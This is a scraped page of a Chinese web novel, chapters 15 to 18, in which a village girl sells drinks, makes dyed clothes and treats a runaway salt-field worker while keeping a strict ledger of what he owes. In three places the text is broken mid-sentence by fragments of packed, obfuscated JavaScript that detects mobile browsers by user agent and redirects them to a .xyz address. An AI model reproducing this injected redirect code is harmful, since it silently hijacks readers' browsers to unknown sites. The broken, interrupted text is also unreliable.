“谢，谢宗林。”男人迟疑了一下，最终还是选择如实回答，重新问道：“是你救了我吗？” “是。” 好安见男人又要开口，立刻止住，说道：“不用报恩，还钱就行。” 说着掏出踹在怀里半天的方子，递给男人道：“水方钱，三副二百七十文，加工费九文。”说着还好心解释道：“加工费一次十抽一，这是药渣和还剩的两副。” “盆，二手竹子的便宜，五文。伤药，不算顶好的但也不差，二十五文，上药的劳务费算你三文。消毒的药水，自己煮的，十文。毛巾，二手百分百纯棉的，十五文。水就算送你的，但烧开的时候费了点柴火，一文。” “一共——”好安飞速的加了一下，“三百三十八文。” “……” 谢宗林愣住，这是以前没有见过的场面。 好安见他神色迟疑，脸陡然冷了下来，“不想还？” “不。肯定还”谢宗林连忙解释道：“我只是在想我衣服呢。” “哦。”好安瞬间换上和蔼可亲的笑容，指了指他的脚道：“在这。” 谢宗林顺着指尖看去，只见自己的衣服已经碎成破布，湿漉漉地裹在自己的脚上。 “降温的。我带的毛巾小裹不住你的脚，这个就不收你劳务费了。” “额……谢谢，但，那我穿什么？” “你可以从我这里买呀。”好安说道：“但那是另外的价钱。” 15. 纸价 第十五章 好大河留下不少衣物，都被她娘整理好放在箱子里。 好安挑了一套最薄的准备给谢宗林送去。 浅灰色的夏衣料子一般，但针脚细密。 这样的衣服该收多少合适呢？好安摩挲着衣服，心里盘算着。 “姐姐，你盯着爹的衣服干什么？” “嗯？”好安抬头。 “你怎么知道这是爹的衣服？很明显吗？” 这衣服上也没写名字啊。 “娘说这衣服爹常穿。” “那箱子里有爹不常穿的吗？” 要是被别人发现谢宗林穿着她爹的衣服，不太好。更何况她还不知道谢宗林的底细，不确定这个人是好是坏。 她不想招来麻烦，但又想赚这笔钱。 她爹早不知道死哪去了，这么多衣服放家里也是放着，不如废物利用。 “娘说箱子里的衣服爹都常穿，她经常拿出来晒。”好昕一想到娘亲，心情不免低落许多。 他对爹没什么印象，但和娘的感情很深。 “好啦。赶紧吃饭，吃完我们去给娘上柱香。”好安抬手摸了摸好昕的脑袋，安慰道。 “真的吗？”好昕眼睛一亮，随即又暗了下去，“可是今天不是初一也不是十五，更不逢年过节。” “没事。”好安刮了一下好昕的鼻子，说道：“孩子想娘不分时间地点。” ———— 要想让好大河的衣服不被认出来，她得想个法子。 好安拿来剪刀针线，将衣服平铺在桌子上。 “咔咔”两剪子下去，长袖变成了短袖，衣摆也从膝盖提到大腿。 不错。 好安看着已经变样甚至微微变形的衣服点了点头。 但不能只改变样式。 衣服最重要除了样式，还有材质和颜色。 材质是变不了，样式现在已经改的差不多了，就是这个颜色要是换一换就完美了。 好安扫了四周，目光定格在一筐青皮核桃上。 上次好昕好奇剥了几个，手现在还黑的跟挖煤似的，上色牢的很。 好安果断的把剩下的核桃都开了。 新鲜的果皮和草木灰加水放锅里煮沸，然后再把衣服也放进去煮，加盐固色，接着冲洗，晾晒。 等衣服干了，浅灰色已经变成了土棕色。好安看着大变样的衣服甚是满意。 她收起衣服，正要出门，瞧见桌上还剩了点饭菜，便顺手捎上一份往破屋走去。 不过一晚上的时间，破屋已经大变样。 四周不大的缝隙被谢宗林拿树枝和稻草堵住。 屋子中间有一团灰烬，一看就是刚烧过火。 他甚至还拿稻草给自己编了块草毯子当被子盖着，俨然一副把这里当家的模样。 “手艺不错。”好安调侃道。 “以前经常编。”谢宗林一面给好安挪了块干净的地方，一面拿毯子挡了挡自己光溜溜的上半身。 “你要的东西都给你带来了。”说着，好安把一个瓦罐和衣服递过去。 “瓦罐十文一个，市场价童叟无欺。” 谢宗林闻言点头，说道：“我知道。” “衣服，五十，不，六十文。” 她的手工费不能不收。 谢宗林左盼右盼的衣服终于来了，他连忙拿起上衣正要穿上，手却突然顿住。 他要是现在穿的话就没有拿毯子了。 父亲说过女子注重名节，之前是自己昏迷不醒，害人家姑娘污了双眼，现在自己醒着，觉不能再犯！ 于是谢宗林抬眼对上好安的眼睛。 “怎么，嫌贵？”好安皱眉，那大半框核桃可费了她不少时间，绝不能降价！ “……不是。”谢宗林见好安完全没有避嫌的打算，只好自己背过身去把衣服穿上。 衣服颜色不明，但质地柔软，比谢宗林以前穿过的衣服都好。就是这个袖口和下摆有些参差不齐，有碍观瞻。 “你看着瘦没想到还挺撑衣服，我原本还担心大了。”好安不仅光明正大的看还点评上了，“身材不错。” 谢宗林“刷”一下，脸红到耳根。 “我带了饭，你要吗？”好安打开盒子，露出一份豆芽菜和粥，说道：“素菜一文，粥也一——”话未说完，好安突然看见草堆旁放着几根被啃过的细骨头。 “你吃过了呀。”好安惋惜，看来这两文钱赚不到了，便捧起碗筷准备自己吃掉。 “不。我更想吃些清淡的。”谢宗林连忙拿过饭盒，解释道：“是那只鸟停在门口，我太饿就抓吃了。” “一共四百文，我记着。” 好安挑眉，顺杆子上爬：“那晚饭需要吗？保证物美价廉，量多实惠。” 谢宗林捧着碗，偷偷瞄了一眼好安。 姑娘眼睛清澈，眼神真挚，流露着善良光芒。 “要，早晚都要。”谢宗林满脸通红道。 “行，今晚我给你送来。” 一天四文，苍蝇再小也是肉。 好安中午还要出摊，等谢宗林吃完饭便收回碗筷美滋滋的离开了。 ———— 冰粉一如既往的受欢迎，这几日更是卖的飞快。她的摊子现在每天都要排队，一桶半，半个时辰就能卖完。 但她依旧没准备增量，这两天忙谢宗林的事情，根本没时间进山去摘，冰粉籽库存真的不多了。 好安卖完冰粉，便麻溜的收拾收拾准备回家。还有几个竹碗没收回来，她也不担心，大部分都是在附近几家摊位上，老板们明天都会还过来。 回去的路上，好安看见一家书肆，不由想了想。 现在她手里进账的有豆芽、冬瓜糖、冰粉，还有谢宗林的欠债。 出账的有黄豆绿豆、红糖、冬瓜、每日的牛车出行费还有和刘树林的合作款。 进出的东西越来越多，还是要搞个账本好好记账才行。 于是好安将东西放在车上又绕了回去。 书肆门头不大，但内里宽敞，静得落针可闻。 好安不耽搁径直走到放纸的柜子前停了下来。 “姑娘是想买纸吗？”掌柜扭着胖胖的身子，轻手轻脚地走过来问道：“是想买写字的还是画画的？” “写字的。”好安抬手随意地指了一种问道：“这种多少钱？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950795|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“姑娘好眼光，这是我们这最好的新管纸，扩散小而匀，落笔交叠，笔笔清晰，只要一百文。”掌柜的小肉手灵活地竖起一根手指，悄悄说道：“全镇最低价！” “一刀？”好安弯腰凑近仔细瞧了瞧，纸面光滑，细嫩绵密，隐有帘纹，这个价格还真…… “十张。” 这个价格还真……好贵。 不愧是书中自有黄金屋。 好安尴尬地直起身，目光毫不犹豫地转向其他纸。 掌柜也很有眼力见，主动介绍起几款其他的：“这种竹下纸也不错，洁白平整是大部分学生的首选，只要五百文一刀。” 一刀一百张，算下来一张纸就要五文！ 怪不得那些学生买她的冰粉眼都不眨，感情也就一张纸的价钱。 后日就要入伏了，冰粉提价是不可能的，她必须搞个新的甜品圈钱。 既然他们都这么有钱，就别怪她使劲薅了。 “还有一种三百文一刀，”掌柜走到角落，撵起一张纸递给好安，说道：“十分便宜，但容易晕染，抓色不好，棉棉脆脆的沾水就烂。” 好安伸手摸了摸确实手感粗糙，纸面上的纹路杂乱，常有凹凸。 掌柜见好安面露嫌弃便找补道：“这个练字还是凑合的。” 可她不是拿来练字，是拿来记账的啊，要能长久保存的那种。 好安前前后后看了几种，最后还是觉得竹下纸最适合，便问道：“竹下纸可以按张卖吗？” 掌柜摆摆手说道：“除了新管纸，其他的都不散卖。” “我要个一二十张就够了，一刀实在太多了。” “一刀不多啦。”掌柜伸出小肉手指头，比划说道：“写一次课业至少用一两张吧，一个月三十天，最多三个月就用完了。” 不论好安怎么说，掌柜就是不愿意散卖，好安没办法便准备回去从好明辉那买几张。 刚要踏出店门，掌柜像是突然想起什么，说道：“哎姑娘我这有一些带瑕疵的竹下纸可以散卖，你要吗？” 好安迅速收回踏出去的脚，转身问道：“能先看看什么样吗？” “行，你等等，我去拿给你。” 没一会，掌柜握着小几十张竹下纸摆到柜子上，说道：“也不是什么太大的瑕疵，就是折痕比较厉害，还有些黄斑破损。你要是要我算你四文一张。” 散卖，还有折扣。 好安一张一张的翻开检查，很多地方都有折痕，有些折得厉害的都破了。用这个写课业是不大好看，但好安无所谓，能写字就行。 “一共二十六张，我都要了。” 好安不带犹豫的从布袋子里数了一百零四个铜板放在柜台上，刚刚还满满一兜的钱顿时少了一半。 “你这可以帮忙裁纸吗？”好安正要拿纸离开，突然瞥见墙角的一把裁纸刀。 一张纸大多数都是宽两尺，长四尺，直接用来做账本就太大了，四尺开六的话大小就刚刚好。 掌柜笑眯眯的开口说道：“一次五文。” “哈哈。”好安尴尬的笑了两声，摆摆手说：“不用了。” 这种小事就不劳烦别人了，还是回家自己干吧。 16. 奶茶 第十六章 晚上，好安善心大发，给谢宗林捎上一份荤汤。 “你是不是退烧了？”好安见他脸色明显好转，人也精神了不少。 谢宗林端着汤，点点头。 “病好了，你是不是该回家了。”好安旁敲侧击地问道：“对了，你家在哪？” “家。”谢宗林闻言一愣，一些过去的人和事在脑中闪过。 “你哪里人？”好安再问道。 谢宗林正纠结着要不要说，就听见她继续道：“高田县的吗？” 谢宗林眼皮一跳，陡然抬头看向好安，戒备的神色再次在眼中浮现。 “你是在想我为什么知道？”好安漫不经心地笑了笑，说道：“我又不是瞎子。你那双脚一看就知道在哪里干过。” “说吧，”好安语气先是温和，说到一半时，整个人突然凑上前去，眼神霎时变得尖锐无比，冷声道：“所以你是晒盐场的罪犯，还是……” “我不是罪犯！”像是戳到了痛点，谢宗林猛地推开好安，大声说道：“我不是罪犯！” “哦？”好安一副真的吗？我不信的模样。 “那你的脚为什么会这样。” 谢宗林曲着膝盖，一边捂着双脚，一边用力的把脚往后缩，像是要把什么见不得人的东西，永远的藏起来。 好安见他不开口，便开口道：“前几日，高田县晒盐场的官吏可是把村子和山里里里外外搜了一遍，指明了要找一男的。是你吧。” 好安说完，四周寂静无声，外头房顶上稻草滑落的声音都清晰可闻。 许久，谢宗林才开口说道：“是我。” 好安一下来了兴趣，好奇问道：“不是说进晒盐场的人都受过墨刑吗？你脸上怎么没有？” 谢宗林的脸线条流畅，不论是光洁的额头，还是瘦削的脸颊，没有一丝疤点。 谢宗林抬头看了好安一眼，思虑良久才缓慢说道：“进晒盐场的人确实会受墨刑。” 好安则从身上摸出一根冬瓜糖，边听边嚼。 “官府会统一刺好字，再把他们送进去。可我不是被送进来的，我是出生在晒盐场。晒盐场的官吏没有刺字的权利，所以我脸上没有。” 原来如此，这么一张好脸要是被刺字就可惜了。 “晒盐场还有女人？” “一家老小都有。” “你家是连坐？” 谢宗林沉默的点了点头。 连坐，能活着的，要么不是什么大罪，要么是边缘的人物，来凑数的。 因为重要的都连诛了。 “按照大晏律例，你这种情况，我没记错的话十岁以后服役几年就能回家了呀。” 好安来到这个世界还是借阅了不书，尤其律法条例。 “是，也不是。”谢宗林仰头，继续说道：“我祖父母，我父母，我哥哥嫂嫂都在晒盐场，我的家就在那，我能去哪，而且晒盐场不会让你走的。” “你没有刺字，腿长在你身上。怎么走不得？” 谢宗林突然笑了起来，手里无意识的抓起几根稻草，死死的拧着，说道：“只要你在晒盐场出生，他们会强行把你迁入盐籍。盐，关乎民生，朝廷对盐户的管理极为严格。入盐户者，世代相承，不得变更。” 好安啧了一声，朝廷对盐户的管理她略知一二。 一个逃犯被逮到，诛。 一个盐丁逃跑被逮到，砍手断脚，只要没死救要继续干活。 以后的日子可以说得上是生不如死，还不如一刀嘎了，解脱。 “那你家人呢，你跑了他们在晒盐场不会有好下场。” “他们，他们解脱了。”谢宗林双眼涣散，空洞无光，脸上却露出一副羡慕的神情。 先是年迈的祖母、祖父，一头载进卤水里再也没有醒来过。 接着是体弱多病的母亲，仅有的药渣熬了一遍又一遍，最后药汁比海水都清。 还有父亲、哥哥、嫂嫂，都是活活累死。 可他为什么还活着啊…… 好安见他神色不妙，连忙岔开话题。 “……谢宗林，我刚刚说的听见没。” 好安喊了几声，见他都没有反应，便走了过去。 “啪” “嘶——” 一巴掌结结实实的打在肩膀的伤口上。 “我刚刚说的听见没？” “你是要拉我去报官吗？” 一个语气不耐烦，一个语气不想活。 “什么报官？”好安见谢宗林一副摆烂的模样莫名的火大，不爽道：“荤汤两文，今天四百零四文，记住没？” “啊。”谢宗林愣住。 “记着还钱。在我这，钱没还完说再多都是屁话。”说着，还阴恻恻地威胁道：“不还完，我就去撅你祖坟。” 说完，好安拎着饭盒，脸色不佳地走出破屋，留下呆愣愣的谢宗林。 ———— 好安的牛还没送过来，但她已经搞到新鲜的水牛奶了。 村里周家的母牛昨日刚生下小牛，奶水充足。 水牛的产奶量不如奶牛，但只要照顾的好，泌乳期能持续有好几个月。 她卖冰粉还是赚了不少钱的，于是大手一挥，定了三个月的水牛奶，每日一桶，一桶十文。 第二日，鸡还没叫，周家就送来一桶。 新鲜的牛奶微微泛黄，好安立刻起灶开火，一边将茶叶高温冲泡，一边牛奶里加糖，大火快煮，煮到微烫即可。 茶叶充分浸泡后，好安没急着把它和牛奶融合，而是将茶焖上片刻，再用一空桶，把茶水在两个桶之间来回对拉。 她茶底选的是红茶，茶水在来回翻倒中不停的流动，不仅降低了茶温，还可以去涩，提高茶的口感。 做完这步，好安将茶水和牛奶和匀。这样奶、茶、糖三味才能更好的融合。 没有冰箱，好安照旧将奶茶悬放井中。 奶茶煮好只能算完工一半，还有小料还没煮，这可是奶茶的灵魂。 依旧是烧开水，放红糖化开，关火，再少量多次的加入玉米淀粉，迅速揉捏成团。 面团呈棕色，表面光滑，好安先用刀将它切成小条，再揪成小丁，然后搓成一个个小小的黑珍珠。 很快，黑珍珠便堆满一碗。最磨人的一道工序结束了，好安起身简单的活动一下筋骨，又烧了一大锅水。 水开后倒入珍珠，为防止粘连，好安手不停的搅拌，直到珍珠全部上浮。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950796|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 饺子上浮代表熟了，珍珠上浮代表刚开始。 好安赶紧把大火调成中火，一边煮一边搅。 “姐姐，你在干什么？”天边刚刚露白，好安打着哈欠，睡眼惺忪地问道。 “在准备赚大钱。”好安冲好昕笑道。 厨房里蒸汽四起，好昕凑到灶前，只能模糊地看见锅里面有一团黑色的东西。 “这是好吃的吗？”好昕问道。 “对，叫珍珠。” “珍珠可以吃吗？”好昕不解。 “能不能吃你马上就知道啦。” 这次搓的珍珠不大，好安舀起一勺见已经煮得差不多了便熄火了灶台里的火，盖上盖子，焖它。 “快去洗漱，准备吃饭。”好安端起两碗面疙瘩，说道：“姐姐今天忙，吃完你去给破屋里哪个送早饭。” 好安现在想起谢宗林昨晚那要死不活的模样还一肚子气。 她居然花了这么多钱救一个不想活的人！ 好气哦，越想越气。 “你到那敲敲门，把饭放门口就行，别搭理他。” 好昕不解，问道：“他是坏人吗？” “额——”好安一时顿住，谢宗林目前看着不坏，但他总是情绪低落，四周气场也十分消极，隐隐有厌世的苗头，于是说道：“他思想不积极。” 饭后，好安继续熬煮珍珠，好昕则接过姐姐的任务，去破屋送饭。 谢宗林估摸着上次也是这个时间给他送饭，便坐到窗边，不时的朝外看去，结果只看到一个从来没见过的小男孩拎着熟悉的饭盒朝这走来。 他看小男孩也不说话，放下饭，敲了敲门便离开了。 “小子，昨天给我送饭的人呢？”谢宗林忍不住问道。 好昕一下顿住，犹豫了片刻，还是转过身，大声说道：“我姐姐说你思想不积极，不让我搭理你。”说完便撒腿跑了。 谢宗林一下愣住，一时说不出话来。 不积极。 他自从醒来后好像就一直缩在这个屋子里，哪也不想去。心里一边恨着自己在晒盐场受过的苦，一边又想着晒盐场的日子。 不停的抱怨，不满，却从来没有伸手改变…… ———— 珍珠焖完后变得透明，为了让它更有嚼劲，好安过了三四遍冷水才和红糖浆一起下锅，小火熬煮，直至浓稠。 虽加了新品，但冰粉也没撤下，只是一桶半换成了一桶。 珍珠奶茶一推出便在学生之间迅速传开，哪怕十文一筒，也有很多人争相购买。 它比冰粉方便，一个竹筒配上一根芦苇吸管，想带哪去就带哪去。 小料的选择也多。 多付两文可以加半份冰粉，多付三文可以加一份红糖珍珠。 加满料的奶茶轻抿一口，不仅有牛奶的丝滑浓厚，还有红茶的饱满香醇。甜滋滋的珍珠软糯香甜，滑嫩嫩的冰粉仿佛入口即化。 赵瑾轩身为好安铺子的忠实爱好者，奶茶一开售便买了四筒别在腰间。 一筒什么都不加，一筒加冰粉，一筒加红糖珍珠，还有一筒什么都加。 下午困了，来上几口，晚上累了，来上一筒。只要有奶茶，他觉得他可以学到天荒地老！ 17. 冬瓜茶 第十七章 暑气加重，县里存冰的铺子纷纷挂上售卖的旗帜。 好安一路数了数，这条街光是专门卖冰的铺子就有三家，兼职卖冰的有六家。 看来夏天吃冰在万和县是个普遍现象。 嘿嘿，吃冰，那就好办了。 好安回到家中立马拿出纸笔，画出一个形似飞镖，状若流星四角尖尖的图样。每个尖尖一侧是密密麻麻的锯齿，一侧是或钝或锋的刀口。 为了准确，正面图和侧面图好安各画了一副。 是的！她要做一个手摇破壁机！ 破壁机的其他部位还是找李叔帮忙。 好安拿着图纸兴冲冲的出门，结果刚一开门边发现院门外有一个草编的篓子。 篓子里是满满的灯笼草果子和几个山里的野果。 不错，知道干活了。 好安一眼就知道是谁送来的，因为篓子旁还有一副洗干净的碗筷。 她拿起篓子回屋称了称，然后默默的打开账本，在谢宗林的那一页记上四文钱。 ———— 傍晚，好安正准备给谢宗林送饭，却见他自己上门来。 “你来干什么？” 好安发现谢宗林今天收拾的格外整洁，前几日凌乱的头发也重新梳的整整齐齐。 “我看你家豆芽菜卖的很好，我能不能从你这……”谢宗林声音越说越小，最后几个字还是好安连蒙带猜。 “你想从我这拿货去别的地方卖？” 谢宗林站在院子里，一声不吭的点点头。 “这才几天，你不怕晒盐场的官吏抓到你？”好安问道。 “现在晒盐场忙得很，他们不会在外面找太久的。”谢宗林说道：“我不往南边去就行。” “所以特意挑这个时间段跑的？”好安笑了笑。 谢宗林如实的点了点头。 “先吃饭吧。”好安把饭端给谢宗林，自己则坐在院子里的躺椅上想事情。 拿豆芽去村外卖肯定有赚头。对她而言，足不出户就有经销商去给她推销产品怎么看都是有好处的，可不止好处，还有别的。 村里之前也有一些脑子活络的年轻人，旁敲侧击的和她提过此事。但她那时候忙着卖冰粉，根本没时间大批量的发豆芽，就被她委婉回绝了。 现在要是把豆芽给谢宗林拿出去卖，村里人怎么看？ “豆芽的事情过几天再说。” 谢宗林闻言，神色一下暗淡了不少，片刻又听好安继续道：“但我这还有不少冬瓜糖，你要试试吗？” 好安摇了摇手里的扇子，说道：“我前几日听说有人给县里的寺庙捐款了一大笔，要翻新呢。日子已经定下来了，就在明日。我这有几种消暑降温的便宜冷饮，你要试试吗？” “要。”谢宗林立刻回过神来，从兜里掏出一个布袋子。 “我没有钱。这个可以抵吗？” “这是什么？”好安好奇接过。 她都做好赊账给他的准备了。不赊的话，之前的四百多文不知道猴年马月才能收回来，赊的话，至少还有个盼头。 好安解开布兜，一下愣住，里面竟是洁白如雪的上等官盐。 这半袋子至少半斤。 万和县靠近晒盐场，经常有人贩卖私盐，最便宜的粗盐也要每斤也要四十文。 若是在不产盐的地方，要两斗米才能换一斤盐。 好安瞅了一眼谢宗林，原来这小子不是脑袋空空的跑出来的，还是给自己留了后手。 也是，脑袋空空的人怎么可能逃出晒盐场。 “当然收。价钱几何？” “你看着给就行。”谢宗林腼腆一笑，说道。 “那就算七十文吧。” 这个价位适中，而且这种品质的官盐要是拿出去卖贵不了几文，还有一定的风险。她占个细盐的便宜，谢宗林占个少风险的便利。 “卖水的东西我会帮你备好，算免费送你的。明日卯时记得来我家拿货。” 送走谢宗林，天已经黑透了。好安正要回家，就遇到迎面走来的好雪。 “好安，我刚刚可都看见了，你私会外男，不要脸！” “呵。”好安不想搭理她，冷笑一声，翻了个白眼。 “你笑什么？”好雪侧身挡住好安的去路，“你信不信我告诉我爹。” “你说我私会外男？外男呢？” 抓人都不知道抓现行，好安面色无语。 “再说了你告诉你爹有什么用？去告诉我爹才算你有本事。” “你——谁知道你爹在哪。” “那你可以告诉我娘啊。要我帮你指路吗？”说着，好安抬手指了指天，没好气道：“嘿，就在这哦。去吗？” “你咒我！” “我可没有。”好安一口否认。 好雪气得跺了跺脚，“我爹是你大伯，怎么不能管你。是你败坏门风在先！” “大姐，一人不管两家事。大伯要是闲得慌就去管管大伯娘。” “不行！我就要说。”说完好雪就要朝家跑。 这事还真不能让好雪讲出去。和外男说话本身并没什么问题，但是她不知道好雪这张嘴会怎么说呀。 名声这种东西在古代还是很重要滴。 就好像之前，她只是得了失魂症，在村里传一圈，再传到她这，她已经变成生活不能自理的傻子了。她现在走在村里还偶尔能感受到打量的目光。 好安立刻拉住好雪的后衣领，轻轻往回一拽，一把揽住她道：“你说我私会有证据吗？” “我看见了。”好雪信心十足。 “这是证据吗？”好安凑在好雪的耳边，语重心长道：“没有证据就瞎讲，这是败坏我的名声，是造谣。造谣是什么？是妖言惑众！大晏律法怎么说的，妖言惑众，轻的罚款，重的流放，再重一点的直接杀头啊。” “你造我私会外男的遥，要是传出去了，全村都是我的证人。我要是想得开，坚强的活着，你家又得赔我钱。唉，上次大伯娘赔的我还没花完呢。万一我要是想不开，投个井跳个河的，你就是流放起步呀。要是我没被救过来，做了鬼，流放路上也绝不叫你孤单，必定日日缠着你，夜夜陪着你呢。” “怎么样？是不是极好的！”好安露出你是不是很惊喜的模样。 “你！”好雪一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950797|160922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把甩开肩膀上的胳膊，恶狠狠地瞪了好安一眼。 “你要是觉得我撒谎，你可以回去问问你哥呀。妖言惑众是不是罪名。”好安叹了一口气，继续说道：“我长这么大呀，还是头一次有人造我遥。我要是在村里听见什么不该有的，你也别怪我第一个想到你。到时候我肯定把事情的来龙去脉在状子里写得清清楚楚，可不能让青天大爷错判她人呀。”说着，好安还伸手擦了擦根本不存在的眼泪。 “我不说了！你也别说！” “你发誓。” “我发誓，我要是说出去一个字我就，就天打五雷轰！” “真棒！好大姐哦。” 摆平好雪，好安便忙着给谢宗林准备糖水。 她给谢宗林想了两三种方子，但碍于家里材料有限，目前能做的只有冬瓜茶。 冬瓜茶的冬瓜要选能出水的，不削皮，不去瓤，直接冲洗干净即可。 她以前熬冬瓜茶都是切丁，可切丁熬的慢，为了省时间，她这次全部切丝，再撒上红糖，密封腌制。 要想味道好，最好还是腌上一天。但这次时间紧，好安只腌了半天。 又是半夜起床的一天。 好安两灶齐开，一边做珍珠奶茶，一边熬煮冬瓜茶。 冬瓜已经出水，好安将它一滴不落地倒进锅里，再微微加一点水，开始小火慢炖。 锅里的冬瓜水不停的冒着小泡，和煮珍珠一样，要不停的搅拌防止糊锅。 不出半个时辰，厨房便飘出浓浓的糖香。 这才哪到哪，还是一锅稀呢。 又熬了一个半时辰，气泡逐渐变得密集。冬瓜已经和红糖融为一体，变成沙一样，勺子搅动也变得费力。 好安用筷子挑了一点，放进冷水中，见糖浆表面凝固这才熄火盛了出来，倒在油纸上。等干了切成冬瓜茶砖，什么时候想喝泡上一块就行，方便得很。 卯时一到，谢宗林准点出现在好安家门口。 “两个桶，一个里面是绿豆汤，一个里面是凉白开用来泡冬瓜茶。茶砖一次放一两个就行。”好安单独把茶砖用油纸包好放在布袋子里，递给谢宗林道：“这么多茶砖七十文，一碗茶的价格你自己看着定。” 除了冬瓜茶，好安还赊了二十个冬瓜糖给他。清点完东西，谢宗林乐呵呵的挑着水出发了。 ———— 谢宗林那边卖的顺不顺利好安不知道，反正她这边憋了一肚子气。 她知道摊子上有人眼红她的生意，不少人买过她家的冰粉回去研究，但都没研究出头绪。 可奶茶不一样了。嘴巴稍微细致的人一喝就知道里面有什么。 这不，今天她摊子对面就多一家卖奶茶的摊子。甚至有些人上门来问对面的那个是不是她家的分摊。 因为对方连她摊子上的旗帜都做了一个一模一样的，而且一杯奶茶才卖八文。 除了她的死忠粉，不少人都去凑热闹了。 “小娘子，还是你的好喝。”说话的客人一口气买了两筒，一边喝一边吐槽道：“他家那个太难喝了，又涩又腥。珍珠一点都不甜，也煮不熟。做成那样还要十二文，简直就是骗钱。” 18. 铺面 第十八章 今日卖的极为不顺，一直等到下午学院上课才卖完。 好安正收拾摊子，忽然一道阴影打在眼前。 “这位客官冰粉奶茶已经卖——谢宗林？”好安有点意外，“你这么快卖完了？” “卖完了。”谢宗林一手提起竹桶，一手收好架子。 她给谢宗林准备的可是大桶，一桶水能盛二三十大碗。 修寺庙的人这么能喝吗？ 谢宗林一眼看出好安的疑惑，解释道：“冬瓜茶被几个管事包圆了，所以卖的快些。” “那你再去附近买水泡呀。”好安说道。 “额——那个茶砖也被我卖给其他人了。”谢宗林一边说着，一边留意好安的脸色。 “卖了？” 万和县的寺庙比较偏僻，除了逢年过节，往来的人零星可数。 更何况现在正在翻新，除了在那做工的人，只有和谢宗林一样去卖水卖饭的才会往那去。 “卖给同行了？” 谢宗林点点头，把自己的钱袋子递给好安。 还挺沉。 “你多少钱一块卖的？”好安问道。 这可是她起早贪黑熬的，要是便宜卖了，好安可不确定自己会不会一脚把他踢飞。 “二十文一块。” “二十文？”好安心里飞速的盘算了一下，和泡成冬瓜茶卖不相上下。 按理说这样应该算不贵，可一斤红糖也才六七十文，她只用半斤红糖，就做了十几块茶砖。 “他们愿意买？” 泡成水，清热解暑还甜滋滋的，一文钱一碗，有人愿意卖很正常。可直接一块茶砖二十文能卖出去，这倒有点出乎她的意料。 “愿意。”谢宗林说道：“我和他们说这是南边东罗国的传统饮品，能清热祛湿，生津消渴。” 好安想了想，这么说好像也对。 自己和他说过这是南边的方子，冬瓜也确实有这个功效。 语言的加工果然很重要。要是这样可行的，她就要打开格局，开始编广告了。 ———— 回去的路上，两人正沉默地走着，这时对面走来几个官吏。 谢宗林猛地顿住，身体开始控制不住的颤抖，整个人下意识的想逃。 “走里边去。”好安一把拉过他，拽到她侧后方挡住，低声说道：“这没人认识你。万和县和高田县隔着大山，本就往来极少，而且是两个县，高田县的官吏不敢在万和县大肆搜捕，你不用太过担心。就算看到你了，他们怎么证明你是你呢？” “抬头，看前，你这个体格应该走出六人不认的架势。” 好安嘴上虽这么说着，脚步确陪着谢宗林停下。等官吏离开，他不抖了才重新迈步。 “对了，我要去趟铁匠铺，你要去吗？”好安突然想起破壁机的刀片还么定，又见谢宗林神色不安，怕是不太敢一人在街上行走，便开口询问道。 谢宗林想都没想，一口答应，跟在好安身后，寸步不离。 ———— 第二日。 好安给谢宗林准备的是酸梅汤。 主要的材料是乌梅、山楂和冰糖。冰糖没有，红糖改味，便用了罗汉果当甜味剂。 好安自己不爱喝有中药味的，但带点药味好像更方便打广告，就放了几片甘草陈皮。 起锅的时候再放上一点薄荷，这酸梅汤就算熬好了。 谢宗林上门时，好安还在准备自己摊子上的东西。 昨天她一回来就跟李叔定了辆小推车，推车上还挂了个无比显眼的“好记”。 水桶、竹筒、竹碗也通通刻上“好记”。 品牌要从早做起。 之前卖奶茶的就她一家，便没想到这一块。现在不止她一家了，估计以后还会有更多家，做个标识，不仅方便顾客区分，也方便她养号。 “今来得有点早呀。你的还在井里没拿出来呢。”小推车是李叔在旧车上连夜改造的，对好安而言有点大，水桶放在上面总是摇摇晃晃，撒出水来。 “要我帮你推过去吗？” “不用，我再找找平衡感就行了。” 谢宗林没急着走，站在一旁看好安推着车在院里转圈。 “你可以把几个桶固定一下，这样不管路多坑坑洼洼都不会撒。”谢宗林建议道。 好安停下甩了甩胳膊，用下巴点了点角落里乱七八糟的竹竿。 她不想吗？是她不会啊！ 这种玩弄竹子于手掌之间的活，他们家只有好昕会。 谢宗林了然，试探道：“要不我来试试？”见好安没拒绝，便从里面挑了几根长度不一的竹子比划了几下。 “摆放有什么要求吗？” “没，不撒就行。我可以将就它们。” 她懒得凑过去看谢宗林怎么搞的，坐在一边不停的摇着扇，还没出摊呢，就一身汗。 看来家里还是要备些菊花茶，去火。 “安安——在家吗？” 谢宗林还没搞完，好来婶已经近在眼前。 “快躲起来。”好安一下从凳子上弹起，夺过谢宗林手里的竹子就把人往屋里推。 “不行。” 万一好来婶进屋呢。 